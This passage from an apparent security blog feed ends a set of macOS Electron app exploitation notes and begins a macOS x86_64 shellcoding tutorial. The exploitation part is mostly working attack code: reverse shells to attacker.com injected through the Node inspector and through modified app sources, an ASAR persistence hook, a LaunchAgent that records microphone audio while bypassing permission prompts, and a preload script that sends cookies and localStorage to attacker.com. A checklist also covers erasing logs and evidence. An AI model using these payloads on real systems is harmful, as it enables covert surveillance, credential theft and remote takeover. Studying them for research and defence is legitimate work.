<span class="kd">const</span> <span class="nx">http</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">http</span><span class="dl">'</span><span class="p">);</span>
<span class="nx">http</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">http://127.0.0.1:9229/json</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="kd">let</span> <span class="nx">data</span> <span class="o">=</span> <span class="dl">''</span><span class="p">;</span>
    <span class="nx">res</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">data</span><span class="dl">'</span><span class="p">,</span> <span class="nx">chunk</span> <span class="o">=&gt;</span> <span class="nx">data</span> <span class="o">+=</span> <span class="nx">chunk</span><span class="p">);</span>
    <span class="nx">res</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">end</span><span class="dl">'</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
        <span class="kd">const</span> <span class="nx">info</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="nx">data</span><span class="p">)[</span><span class="mi">0</span><span class="p">];</span>
        <span class="kd">const</span> <span class="nx">wsUrl</span> <span class="o">=</span> <span class="nx">info</span><span class="p">.</span><span class="nx">webSocketDebuggerUrl</span><span class="p">;</span>

        <span class="c1">// Connect to debugger</span>
        <span class="kd">const</span> <span class="nx">ws</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebSocket</span><span class="p">(</span><span class="nx">wsUrl</span><span class="p">);</span>

        <span class="nx">ws</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">open</span><span class="dl">'</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
            <span class="c1">// Execute reverse shell</span>
            <span class="kd">const</span> <span class="nx">payload</span> <span class="o">=</span> <span class="p">{</span>
                <span class="na">id</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span>
                <span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Runtime.evaluate</span><span class="dl">'</span><span class="p">,</span>
                <span class="na">params</span><span class="p">:</span> <span class="p">{</span>
                    <span class="na">expression</span><span class="p">:</span> <span class="s2">`
                        const { spawn } = require('child_process');
                        spawn('bash', ['-c', 'bash -i &gt;&amp; /dev/tcp/attacker.com/4444 0&gt;&amp;1']);
                    `</span>
                <span class="p">}</span>
            <span class="p">};</span>
            <span class="nx">ws</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">payload</span><span class="p">));</span>
        <span class="p">});</span>
    <span class="p">});</span>
<span class="p">});</span>
</code></pre></div></div>

<h4 id="method-3-asar-archive-modification">Method 3: ASAR Archive Modification</h4>

<p><strong>When to Use:</strong></p>
<ul>
  <li>Need persistent code execution</li>
  <li>User has write access to app bundle</li>
  <li>App has no integrity verification</li>
</ul>

<p><strong>Extraction and Analysis:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Extract ASAR</span>
npm <span class="nb">install</span> <span class="nt">-g</span> asar
npx asar extract /Applications/Discord.app/Contents/Resources/app.asar extracted/

<span class="c"># Find entry point</span>
<span class="nb">cat </span>extracted/package.json | <span class="nb">grep</span> <span class="s1">'"main"'</span>
<span class="c"># Output: "main": "app_bootstrap/index.js"</span>

<span class="c"># Locate renderer process files</span>
find extracted/ <span class="nt">-name</span> <span class="s2">"index.html"</span> <span class="nt">-o</span> <span class="nt">-name</span> <span class="s2">"preload.js"</span>
</code></pre></div></div>

<p><strong>Injection Strategy:</strong></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// extracted/app_bootstrap/index.js - Add at top</span>

<span class="kd">const</span> <span class="p">{</span> <span class="nx">spawn</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">child_process</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">os</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">os</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">path</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">path</span><span class="dl">'</span><span class="p">);</span>

<span class="c1">// Payload location</span>
<span class="kd">const</span> <span class="nx">payloadPath</span> <span class="o">=</span> <span class="nx">path</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="nx">os</span><span class="p">.</span><span class="nx">homedir</span><span class="p">(),</span> <span class="dl">'</span><span class="s1">.local</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">payload</span><span class="dl">'</span><span class="p">);</span>

<span class="c1">// Execute on every app launch</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">fs</span><span class="dl">'</span><span class="p">).</span><span class="nx">existsSync</span><span class="p">(</span><span class="nx">payloadPath</span><span class="p">))</span> <span class="p">{</span>
    <span class="nx">spawn</span><span class="p">(</span><span class="nx">payloadPath</span><span class="p">,</span> <span class="p">{</span>
        <span class="na">detached</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
        <span class="na">stdio</span><span class="p">:</span> <span class="dl">'</span><span class="s1">ignore</span><span class="dl">'</span>
    <span class="p">}).</span><span class="nx">unref</span><span class="p">();</span>
<span class="p">}</span>

<span class="c1">// Original code continues below...</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">app</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">electron</span><span class="dl">'</span><span class="p">);</span>
<span class="c1">// ...</span>
</code></pre></div></div>

<p><strong>Repackaging:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Repack modified source</span>
npx asar pack extracted/ app.asar

<span class="c"># Backup original</span>
<span class="nb">cp</span> /Applications/Discord.app/Contents/Resources/app.asar <span class="se">\</span>
   /Applications/Discord.app/Contents/Resources/app.asar.bak

<span class="c"># Replace with modified version</span>
<span class="nb">cp </span>app.asar /Applications/Discord.app/Contents/Resources/app.asar

<span class="c"># Test - should execute payload on launch</span>
open /Applications/Discord.app
</code></pre></div></div>

<h4 id="method-4-launchagent-tcc-bypass">Method 4: LaunchAgent TCC Bypass</h4>

<p><strong>When to Use:</strong></p>
<ul>
  <li>Target app has camera/microphone TCC permissions</li>
  <li>Need to bypass TCC without user prompt</li>
  <li>Want invisible background execution</li>
</ul>

<p><strong>Audio Recording Payload:</strong></p>

<pre><code class="language-objective-c">// record-audio.m
#import &lt;AVFoundation/AVFoundation.h&gt;

@interface AudioRecorder : NSObject &lt;AVCaptureFileOutputRecordingDelegate&gt;
@property (strong) AVCaptureSession *session;
@property (strong) AVCaptureAudioFileOutput *output;
@end

@implementation AudioRecorder

-(void)start {
    AVCaptureDevice *device = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
    self.session = [[AVCaptureSession alloc] init];

    AVCaptureDeviceInput *input = [AVCaptureDeviceInput deviceInputWithDevice:device error:nil];
    self.output = [[AVCaptureAudioFileOutput alloc] init];

    [self.session addInput:input];
    [self.session addOutput:self.output];
    [self.session startRunning];

    NSString *outPath = [NSString stringWithFormat:@"/tmp/rec-%@.m4a",
                         [[NSProcessInfo processInfo] globallyUniqueString]];

    [self.output startRecordingToOutputFileURL:[NSURL fileURLWithPath:outPath]
                                outputFileType:AVFileTypeAppleM4A
                             recordingDelegate:self];

    // Stop after 30 seconds
    dispatch_after(dispatch_time(DISPATCH_TIME_NOW, 30 * NSEC_PER_SEC),
                   dispatch_get_main_queue(), ^{
        [self.output stopRecording];
    });
}

-(void)captureOutput:(AVCaptureFileOutput *)output
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
      fromConnections:(NSArray *)connections
                error:(NSError *)error {
    [self.session stopRunning];
    NSLog(@"Saved to: %@", outputFileURL.path);
    exit(0);
}

@end

int main() {
    @autoreleasepool {
        AudioRecorder *rec = [[AudioRecorder alloc] init];
        [rec start];
        [[NSRunLoop currentRunLoop] run];
    }
}
</code></pre>

<p><strong>Compile:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc <span class="nt">-framework</span> Foundation <span class="nt">-framework</span> AVFoundation record-audio.m <span class="nt">-o</span> record-audio
</code></pre></div></div>

<p><strong>LaunchAgent PLIST:</strong></p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="cp">&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;</span>
<span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
<span class="nt">&lt;dict&gt;</span>
    <span class="nt">&lt;key&gt;</span>Label<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;string&gt;</span>com.audio.capture<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;key&gt;</span>EnvironmentVariables<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;dict&gt;</span>
        <span class="nt">&lt;key&gt;</span>ELECTRON_RUN_AS_NODE<span class="nt">&lt;/key&gt;</span>
        <span class="nt">&lt;string&gt;</span>1<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;/dict&gt;</span>
    <span class="nt">&lt;key&gt;</span>ProgramArguments<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;array&gt;</span>
        <span class="nt">&lt;string&gt;</span>/Applications/Discord.app/Contents/MacOS/Discord<span class="nt">&lt;/string&gt;</span>
        <span class="nt">&lt;string&gt;</span>-e<span class="nt">&lt;/string&gt;</span>
        <span class="nt">&lt;string&gt;</span>require('child_process').spawn('/Users/user/record-audio')<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;/array&gt;</span>
    <span class="nt">&lt;key&gt;</span>StartInterval<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;integer&gt;</span>3600<span class="nt">&lt;/integer&gt;</span>  <span class="c">&lt;!-- Run every hour --&gt;</span>
    <span class="nt">&lt;key&gt;</span>RunAtLoad<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;true/&gt;</span>
<span class="nt">&lt;/dict&gt;</span>
<span class="nt">&lt;/plist&gt;</span>
</code></pre></div></div>

<p><strong>Deploy:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cp </span>com.audio.capture.plist ~/Library/LaunchAgents/
launchctl load ~/Library/LaunchAgents/com.audio.capture.plist

<span class="c"># Check logs</span>
<span class="nb">tail</span> <span class="nt">-f</span> /tmp/rec-<span class="k">*</span>.m4a
</code></pre></div></div>

<h4 id="method-5-unpacked-source-direct-modification">Method 5: Unpacked Source Direct Modification</h4>

<p><strong>When to Use:</strong></p>
<ul>
  <li>Target doesn’t use .asar archive</li>
  <li>Source files in Resources/app/ directory</li>
  <li>Faster than extract/repack cycle</li>
</ul>

<p><strong>Detection:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Check for unpacked source</span>
<span class="nb">ls</span> <span class="nt">-la</span> /Applications/SomeApp.app/Contents/Resources/app/

<span class="c"># If directory exists (not .asar file), source is unpacked</span>
<span class="c"># Output:</span>
<span class="c"># drwxr-xr-x  main/</span>
<span class="c"># drwxr-xr-x  renderer/</span>
<span class="c"># -rw-r--r--  package.json</span>
</code></pre></div></div>

<p><strong>Direct Injection:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Find main entry</span>
<span class="nv">MAIN</span><span class="o">=</span><span class="si">$(</span><span class="nb">cat</span> /Applications/SomeApp.app/Contents/Resources/app/package.json | <span class="se">\</span>
       jq <span class="nt">-r</span> <span class="s1">'.main'</span><span class="si">)</span>

<span class="c"># Backup original</span>
<span class="nb">cp</span> <span class="s2">"/Applications/SomeApp.app/Contents/Resources/app/</span><span class="nv">$MAIN</span><span class="s2">"</span> <span class="se">\</span>
   <span class="s2">"/Applications/SomeApp.app/Contents/Resources/app/</span><span class="k">${</span><span class="nv">MAIN</span><span class="k">}</span><span class="s2">.bak"</span>

<span class="c"># Create injection payload</span>
<span class="nb">cat</span> <span class="o">&gt;</span> /tmp/inject.js <span class="o">&lt;&lt;</span> <span class="sh">'</span><span class="no">EOF</span><span class="sh">'
const { spawn } = require('child_process');
const path = require('path');

// Reverse shell payload
const payload = `
python3 -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("attacker.com",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"])'
`;

spawn('bash', ['-c', payload], {
    detached: true,
    stdio: 'ignore'
}).unref();
</span><span class="no">
EOF

</span><span class="c"># Prepend injection to main file</span>
<span class="nb">cat</span> /tmp/inject.js <span class="o">&gt;</span> /tmp/newmain.js
<span class="nb">cat</span> <span class="s2">"/Applications/SomeApp.app/Contents/Resources/app/</span><span class="nv">$MAIN</span><span class="s2">"</span> <span class="o">&gt;&gt;</span> /tmp/newmain.js
<span class="nb">cp</span> /tmp/newmain.js <span class="s2">"/Applications/SomeApp.app/Contents/Resources/app/</span><span class="nv">$MAIN</span><span class="s2">"</span>
</code></pre></div></div>

<h4 id="method-6-preload-script-injection">Method 6: Preload Script Injection</h4>

<p><strong>When to Use:</strong></p>
<ul>
  <li>Want to inject into renderer process</li>
  <li>Need access to Node.js APIs in browser context</li>
  <li>Target uses <code class="language-plaintext highlighter-rouge">webPreferences.preload</code></li>
</ul>

<p><strong>Identify Preload Scripts:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Search for preload configurations</span>
npx asar extract app.asar extracted/
<span class="nb">grep</span> <span class="nt">-r</span> <span class="s2">"preload:"</span> extracted/ <span class="nt">--include</span><span class="o">=</span><span class="s2">"*.js"</span>

<span class="c"># Output shows:</span>
<span class="c"># extracted/main.js:  webPreferences: { preload: path.join(__dirname, 'preload.js') }</span>
</code></pre></div></div>

<p><strong>Inject into Preload:</strong></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Add to beginning of preload.js</span>

<span class="kd">const</span> <span class="p">{</span> <span class="nx">ipcRenderer</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">electron</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">spawn</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">child_process</span><span class="dl">'</span><span class="p">);</span>

<span class="c1">// Exfiltrate localStorage data</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="dl">'</span><span class="s1">DOMContentLoaded</span><span class="dl">'</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">sensitive</span> <span class="o">=</span> <span class="p">{</span>
        <span class="na">localStorage</span><span class="p">:</span> <span class="nb">window</span><span class="p">.</span><span class="nx">localStorage</span><span class="p">,</span>
        <span class="na">cookies</span><span class="p">:</span> <span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">,</span>
        <span class="na">url</span><span class="p">:</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span>
    <span class="p">};</span>

    <span class="c1">// Send to attacker</span>
    <span class="kd">const</span> <span class="nx">exfil</span> <span class="o">=</span> <span class="nx">spawn</span><span class="p">(</span><span class="dl">'</span><span class="s1">curl</span><span class="dl">'</span><span class="p">,</span> <span class="p">[</span>
        <span class="dl">'</span><span class="s1">-X</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span>
        <span class="dl">'</span><span class="s1">-H</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">Content-Type: application/json</span><span class="dl">'</span><span class="p">,</span>
        <span class="dl">'</span><span class="s1">-d</span><span class="dl">'</span><span class="p">,</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">sensitive</span><span class="p">),</span>
        <span class="dl">'</span><span class="s1">https://attacker.com/exfil</span><span class="dl">'</span>
    <span class="p">]);</span>
<span class="p">});</span>

<span class="c1">// Original preload code continues...</span>
</code></pre></div></div>

<h2 id="exploitation-tips-1">Exploitation Tips</h2>

<p><strong>Pre-Exploitation:</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Identify Electron app (check for app.asar or Electron Framework)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Verify version: <code class="language-plaintext highlighter-rouge">strings AppName | grep "Chrome/"</code></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Check fuse configuration for RunAsNode</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Test ELECTRON_RUN_AS_NODE environment variable</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Test –inspect flag acceptance</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Identify TCC permissions: <code class="language-plaintext highlighter-rouge">tccutil list</code></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Check write permissions on app bundle</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Verify if asar is packed or unpacked source</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Locate main entry point from package.json</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Check for integrity verification in code</li>
</ul>

<p><strong>Exploitation:</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Choose attack method (env var, debug, source mod)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Prepare payload binary (audio/video capture, reverse shell)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Test payload works standalone first</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />If using LaunchAgent, craft PLIST with proper environment</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />If modifying source, extract and backup original</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Inject payload at earliest execution point</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />If using asar, repack with same compression</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Replace original file (backup first)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Clear quarantine flags if needed: <code class="language-plaintext highlighter-rouge">xattr -cr AppName.app</code></li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Test injection triggers on app launch</li>
</ul>

<p><strong>Post-Exploitation:</strong></p>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Verify payload executes: check process list</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Confirm TCC inheritance: check spawned process permissions</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Monitor output: <code class="language-plaintext highlighter-rouge">/tmp/</code> files, network connections</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Establish persistence if needed (LaunchAgent, login items)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Clean up evidence: remove backups, clear logs</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Test app still functions normally (stealth)</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Document which method worked for future reference</li>
</ul>]]></content><author><name>Zeyad Azima</name></author><category term="Notes" /><category term="notes" /><category term="macOS" /><category term="exploitation" /><category term="xpc" /><category term="apple" /><category term="codesign" /><summary type="html"><![CDATA[Practical OSMR Notes and Guide Lines for researching macos vulnerabilities]]></summary></entry><entry><title type="html">macOS: Shellcoding on Apples (x86_64)</title><link href="https://github.com/macos/shellcoding_on_macos_64/" rel="alternate" type="text/html" title="macOS: Shellcoding on Apples (x86_64)" /><published>2025-11-24T00:00:00+00:00</published><updated>2025-11-24T00:00:00+00:00</updated><id>https://github.com/macos/shellcoding_on_macos_64</id><content type="html" xml:base="https://github.com/macos/shellcoding_on_macos_64/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>This guide explores shellcoding on the <code class="language-plaintext highlighter-rouge">x86_64</code> architecture for <code class="language-plaintext highlighter-rouge">macOS</code>, bypassing the traditional x86 starting point for a practical reason: with the release of macOS 10.15 (<code class="language-plaintext highlighter-rouge">Catalina</code>), Apple discontinued support for <code class="language-plaintext highlighter-rouge">32-bit</code> applications entirely. Since <code class="language-plaintext highlighter-rouge">x86_64</code> maintains backward compatibility with x86 code anyway, focusing on <code class="language-plaintext highlighter-rouge">64-bit</code> shellcoding makes the most sense for modern <code class="language-plaintext highlighter-rouge">macOS</code> systems. Before diving in, you’ll need at least a basic understanding of assembly language—this isn’t an assembly tutorial, so if you’re unfamiliar with the fundamentals, take some time to learn them first and return when you’re ready for the challenge. Rather than immediately jumping into cryptic assembly instructions, this guide follows a practical workflow: start by writing code in <code class="language-plaintext highlighter-rouge">C</code>, identify the necessary system calls, and then translate everything into assembly. This approach leverages the wealth of existing <code class="language-plaintext highlighter-rouge">C</code> documentation and resources, making the process significantly more manageable. You’ll find countless examples of how to build network clients, manipulate processes, or execute commands in <code class="language-plaintext highlighter-rouge">C</code>, but you’d be hard-pressed to find someone talking about implementing these same tasks purely in assembly. Let’s start with our Blogpost.</p>

<blockquote>
  <p>You can find all the code on my github: <a href="https://github.com/Zeyad-Azima/macOShellcoding">https://github.com/Zeyad-Azima/macOShellcoding</a></p>
</blockquote>

<h1 id="lab-setup">Lab Setup</h1>

<p>Let’s Setup our Lab and the required tools, Let’s list all the other tools we need.</p>

<ul>
  <li>Homebrew</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/bash <span class="nt">-c</span> <span class="s2">"</span><span class="si">$(</span>curl <span class="nt">-fsSL</span> https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh<span class="si">)</span><span class="s2">"</span>
</code></pre></div></div>

<ul>
  <li>Xcode:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>We can download it from `AppStore`.
or: https://xcodereleases.com
</code></pre></div></div>

<ul>
  <li>Xcode Command Line Tools (CLT)</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>xcode-select <span class="nt">--install</span>
</code></pre></div></div>

<ul>
  <li>Nasm</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>brew <span class="nb">install </span>nasm
</code></pre></div></div>

<ul>
  <li>Binutils (<code class="language-plaintext highlighter-rouge">ld</code>)</li>
</ul>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>brew <span class="nb">install </span>binutils
</code></pre></div></div>

<p>Before we go on straight to shellcoding, We need to understand some FUNDAMENTALS first we would be using to be able to write shellcodes. As we know the macos kernel (<code class="language-plaintext highlighter-rouge">XNU</code>) is a hybrid kernel which contains also <code class="language-plaintext highlighter-rouge">BSD</code>. We need to download the <code class="language-plaintext highlighter-rouge">XNU</code> source code. Cause we will use it for references in creating ours shellcodes and understanding <code class="language-plaintext highlighter-rouge">syscalls</code> on <code class="language-plaintext highlighter-rouge">macOS</code>. We can download it from <a href="https://opensource.apple.com/releases/">here</a>.</p>

<p>Now, We need to download the source code version that matches the macOS you writing the shellcode for. I am on <code class="language-plaintext highlighter-rouge">macOS Sequoia</code> and the version is <code class="language-plaintext highlighter-rouge">macOS 15.5</code>. You can use <code class="language-plaintext highlighter-rouge">sw_vers</code> command to check it.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~ % sw_vers
ProductName:		macOS
ProductVersion:		15.5
BuildVersion:		24F74
</code></pre></div></div>

<p>Now, Let’s download the <code class="language-plaintext highlighter-rouge">XNU</code> VERSION FOR it.</p>

<p><img width="1130" height="575" alt="image" src="https://github.com/user-attachments/assets/7b194e38-5dbc-4f67-bd69-fa5b4510f214" /></p>

<p>When we scroll down more we can find it.</p>

<p><img width="935" height="195" alt="image" src="https://github.com/user-attachments/assets/b7798f9c-1077-4967-927d-0132ad2d3048" /></p>

<p>That’s the version (<code class="language-plaintext highlighter-rouge">xnu-11417.121.6</code>) of <code class="language-plaintext highlighter-rouge">macOS 15.5</code>.</p>

<h1 id="xnu-syscall-classes">XNU Syscall Classes</h1>
<p>Now, Let’s open it with <code class="language-plaintext highlighter-rouge">VSCode</code> or your favorite <code class="language-plaintext highlighter-rouge">IDE/CodeEditor</code>.</p>

<p><img width="339" height="714" alt="image" src="https://github.com/user-attachments/assets/4fb70323-3964-4270-9897-dcaf9c9aa4e9" /></p>

<p>All these files and folders for kernel we will use just some of it to understand the basics, But while we writing our shellcodes we would be navigating a lot through different files and folders. First Let’s go to <code class="language-plaintext highlighter-rouge">osfmk/mach/i386/syscall_sw.h</code>.</p>

<p><img width="1225" height="469" alt="image" src="https://github.com/user-attachments/assets/8766a5a2-ee46-4cc5-ad02-dbe9311b9fa1" /></p>

<p>starting on line <code class="language-plaintext highlighter-rouge">135</code> till <code class="language-plaintext highlighter-rouge">152</code>, That’s what matters of us. In here as we know and mentioned before that <code class="language-plaintext highlighter-rouge">XNU</code> is hybrid, So if you want to make execute a syscall for related to <code class="language-plaintext highlighter-rouge">BSD</code> you would need to define the entry to it.</p>

<pre><code class="language-C">#define SYSCALL_CLASS_SHIFT	24
#define SYSCALL_CLASS_MASK	(0xFF &lt;&lt; SYSCALL_CLASS_SHIFT)
#define SYSCALL_NUMBER_MASK	(~SYSCALL_CLASS_MASK)
......
#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */	
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */
</code></pre>

<p>In <code class="language-plaintext highlighter-rouge">XNU</code> (the kernel underlying <code class="language-plaintext highlighter-rouge">macOS</code>, <code class="language-plaintext highlighter-rouge">iOS</code>, etc.), system calls are not uniformly accessed via a single syscall table like in <code class="language-plaintext highlighter-rouge">Linux</code>. Instead, <code class="language-plaintext highlighter-rouge">XNU</code> uses syscall classes to route calls through different subsystems. Each system call class is associated with a unique number, which is shifted left by 24 bits (defined by <code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_SHIFT</code>) to determine its class. So for every class to get the entry it will be as the following:</p>

<table>
  <thead>
    <tr>
      <th>Class</th>
      <th>Name</th>
      <th>Value</th>
      <th>Shifted Base (<code class="language-plaintext highlighter-rouge">&lt;&lt; 24</code>)</th>
      <th> </th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>0</td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_NONE</code></td>
      <td>0</td>
      <td><code class="language-plaintext highlighter-rouge">0x00000000</code></td>
      <td>Invalid</td>
    </tr>
    <tr>
      <td>1</td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_MACH</code></td>
      <td>1</td>
      <td><code class="language-plaintext highlighter-rouge">0x01000000</code></td>
      <td>Mach traps</td>
    </tr>
    <tr>
      <td>2</td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_UNIX</code></td>
      <td>2</td>
      <td><code class="language-plaintext highlighter-rouge">0x02000000</code></td>
      <td><strong>BSD syscalls</strong></td>
    </tr>
    <tr>
      <td>3</td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_MDEP</code></td>
      <td>3</td>
      <td><code class="language-plaintext highlighter-rouge">0x03000000</code></td>
      <td>Machine-dependent</td>
    </tr>
    <tr>
      <td>4</td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_DIAG</code></td>
      <td>4</td>
      <td><code class="language-plaintext highlighter-rouge">0x04000000</code></td>
      <td>Diagnostics</td>
    </tr>
    <tr>
      <td>5</td>
      <td><code class="language-plaintext highlighter-rouge">SYSCALL_CLASS_IPC</code></td>
      <td>5</td>
      <td><code class="language-plaintext highlighter-rouge">0x05000000</code></td>
      <td>Mach IPC (newer)</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p>BSD = 0x02 « 24 = 0x02000000 → 0x2000000</p>
</blockquote>

